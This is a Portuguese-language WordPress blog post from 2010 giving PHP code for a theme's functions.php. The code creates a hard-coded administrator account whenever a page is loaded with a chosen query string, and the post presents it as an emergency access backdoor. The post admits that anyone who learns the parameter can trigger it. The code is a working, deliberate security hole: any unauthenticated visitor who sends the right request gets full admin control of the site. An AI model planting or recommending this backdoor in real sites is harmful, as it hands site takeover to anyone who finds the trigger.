Backdoor para criação de novo administrador

Postado por Guga Alves  
No dia 19 de fevereiro de 2010


Adicione o código abaixo no arquivo functions.php de seu tema WordPress para criar um backdoor que crie um novo usuário administrador, para ser usado em emergências.

add_action('wp_head', 'meu_backdoor');

function meu_backdoor() {
      If ($_GET['backdoor'] == 'novoadmin') {
         require('wp-includes/registration.php');
         If (!username_exists('AdminNovo')) {
            $user_id = wp_create_user('AdminNovo', 'SenhaDoUsuario');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
         }
      }
}
?>

Para ativar tal função, basta acessar o endereço http://www.meusite.com.br?backdoor=novoadmin

Logicamente, você deve alterar o usuário 'AdminNovo' e senha 'SenhaDoUsuario' na linha $user_id. Aconselho também a trocar o nome da função de 'novoadmin' para algo que só você saiba.

Lembre-se que usar esse código pode ser considerado um risco de segurança, qualquer um poderia facilmente executar essa função, chamando o querystring correta, por isso a necessidade de a alterar e usar parâmetros que só você saiba, como costumamos fazer com nossas senhas e dados sigilosos.

Use este código apenas para o bem, para você mesmo, ok ?


Leia também:

  1. Autenticação unificada para vários WP no mesmo servidor Já havia tentado sem sucesso usar as constantes CUSTOM_USER_TABLE e...
  2. Quanto tempo devo esperar para atualizar meu WordPress para o 2.8 ? Com o recente lançamento do WordPress 2.8, notei vários relatos...
  3. Wp No Category Base – plugin para remover o /category/ do seu blog Em uma das postagens anteriores de nosso site, o Luís...
  4. Otimizando o seu blog para os buscadores Os buscadores atualmente dispõe de meios para encontrar e classificar...
  5. Os 10 melhores plugins para seu blog Selecionei os 10 melhores plugins, na minha opnião, que podem...

Comentários



Sinta-se livre para deixar um comentario...
Se você quiser uma foto para ser mostrada no seu comentário, crie um gravatar!